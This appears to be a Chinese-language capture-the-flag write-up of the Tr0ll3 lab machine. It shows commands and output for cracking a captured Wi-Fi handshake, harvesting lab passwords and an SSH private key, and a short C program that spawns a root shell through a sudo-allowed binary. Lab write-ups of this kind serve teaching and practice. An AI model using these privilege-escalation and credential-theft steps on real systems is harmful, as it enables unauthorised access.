# 靶场搭建
下载,导入虚拟机,设置为 NAT 模式
IP: 192.168.1.128
# 信息初收集
要求登录到 ssh 上,账号密码: start/here
服务器信息收集,做一下。看一下服务器版本信息、定时任务、运行了哪些程序、哪些账户、哪些文件有读写权限
# 可读写文件
start@Tr0ll3:/var/log/.dist-manage$ find / -type f -perm 0777 2>/dev/null | |
/var/log/.dist-manage/wytshadow.cap | |
/.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/gold_star.txt |
看到了一个流量文件和一个 txt,txt 看上去像是密码?
wireshark 打开 cap 看了一下,看上去像是无线流量, 无线+字典=跑包
,公式直接秒了
# 渗透过程
# 无线跑包
┌──(root㉿kali)-[~/Desktop]
└─# aircrack-ng wytshadow.cap -w gold_star.txt
Aircrack-ng 1.7
[00:13:06] 2418648/3248872 keys tested (3128.86 k/s)
Time left: 4 minutes, 25 seconds 74.45%
KEY FOUND! [ gaUoCe34t1 ]
Master Key : ED 12 0B 40 F5 AF 80 16 F5 F7 4F 9F 9E 39 BB AE
00 32 07 E9 26 81 31 DB 9C 54 64 84 5E 5D 19 C6
Transient Key : 7F 1C A9 01 4E B9 B3 6F B3 95 7D D2 6E C9 10 BE
50 D4 1A 6C 72 F8 AB 8B 97 A4 20 B1 2D 92 19 18
C7 86 C0 17 2D 05 28 C7 6F 95 06 12 4F C2 F5 2A
87 B7 F5 21 22 3D F7 CA BC 99 8B B5 CA 15 EA 43
EAPOL HMAC : 73 4D E4 22 8E B7 F2 91 4E 74 7D CF 59 73 80 F7
得到账号 wytshadow 账号的密码
ssh 连上去
# ngxin
拿到 wytshadow 的 shell 之后看一下信息
本目录下有一个 oohfan
文件有 s 位,能以 root 权限运行,strings 没看到有什么可以利用的地方,运行一下感觉是循环输出。
查了一下 sudo 权限,没有 su 的权限,但是有 nginx 的 sudo 权限。
wytshadow@Tr0ll3:~$ sudo -l
[sudo] password for wytshadow:
Matching Defaults entries for wytshadow on Tr0ll3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wytshadow may run the following commands on Tr0ll3:
(root) /usr/sbin/service nginx start
启动 nginx 服务器,查看 nginx 配置信息: sudo service nginx start
cat /etcnginx/sites-enabled/default
发现端口是 8080,且必须要 UA 头是 Lynx*
才能正常访问。
于是要安装 Lynx 浏览器,或者使用插件固定 header 中的 UA 字段。
使用 lynx 浏览器打开网站
┌──(root㉿kali)-[~/Desktop]
└─# lynx http://192.168.1.128:8080/
拿到一组账号密码: genphlux:HF9nd0cR!
ssh 上去
# RSA 私钥泄露
查看 home 目录发现有一个 RSA 私钥,maleus 用户的,直接 copy 下来,用私钥进行登录
┌──(root㉿kali)-[~/Desktop]
└─# scp [email protected]:~/maleus ./
[email protected]'s password:
maleus 100% 1675 885.2KB/s 00:00
┌──(root㉿kali)-[~/Desktop]
└─# ls -al
total 42084
drwxr-xr-x 7 root root 4096 Apr 29 21:56 .
drwx------ 26 root root 4096 Apr 29 21:55 ..
-rwxr-xr-x 1 root root 1451 Apr 29 19:50 46978.sh
drwxr-xr-x 13 root root 4096 Jan 26 00:29 OneForAll
drwxr-xr-x 2 root root 4096 Jan 26 00:19 docker_arl
drwxr-xr-x 2 root root 4096 Feb 20 21:55 frp
-rw-r--r-- 1 root root 7245381 Apr 9 04:54 fsocity.dic
-rwxr-xr-x 1 root root 35737600 Apr 29 20:33 gold_star.txt
-rw-r--r-- 1 root root 1675 Apr 29 21:56 maleus
-rw-r--r-- 1 root root 253 Apr 9 07:01 pass.txt
drwx------ 2 gddfeng 1004 4096 Apr 10 07:22 php-reverse-shell-1.0
-rwxrw-rw- 1 root root 9018 Apr 10 07:19 php-reverse-shell-1.0.tar.gz
drwxr-xr-x 7 root root 4096 Apr 29 04:22 reports
-rw-r--r-- 1 root root 31 Mar 3 2018 users.txt.bk
-rwxr-xr-x 1 root root 49962 Apr 29 20:33 wytshadow.cap
┌──(root㉿kali)-[~/Desktop]
└─# chmod 600 maleus
┌──(root㉿kali)-[~/Desktop]
└─# ssh -i maleus [email protected]
# vim 文件泄露
查看本地文件有一个 .viminfo
文件,cat 他发现历史记录中修改过密码 B^slc8I$
,拿到了 maleus 的密码
sudo 一下看看权限
maleus@Tr0ll3:~$ sudo -l
[sudo] password for maleus:
Matching Defaults entries for maleus on Tr0ll3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User maleus may run the following commands on Tr0ll3:
(root) /home/maleus/dont_even_bother
dont_even_bother
文件有 root 权限,cat 一下这个文件,发现了密码: Enter the password : xl8Fpx%6
运行了一下,无事发生 ==、
# 提权
目标机器上有 gcc
那么直接编写一个 C 语言的提权小脚本,然后直接覆盖这个 dont_even_bother
文件,sudo 执行进行提权。
首先删除 .viminfo
文件,不然 vim 的时候报错 ==、
然后随便创建一个 1.c,并写入代码:
int main (void){ | |
setresuid(0, 0, 0); | |
system("/bin/sh"); | |
} |
然后编译一下这个: maleus@Tr0ll3:~$ gcc 1.c -o dont_even_bother
sudo 执行
maleus@Tr0ll3:~$ sudo ./dont_even_bother | |
# id | |
uid=0(root) gid=0(root) groups=0(root) |
拿到了最高权限。
# 小结
信息收集的过程考验细心程度和想象力。
主要还是几个点,可读写的文件、泄露的账号密码、拥有 suid 标志的可执行文件。
新的方法:GCC 编译提权文件,覆盖原 S 标志位文件。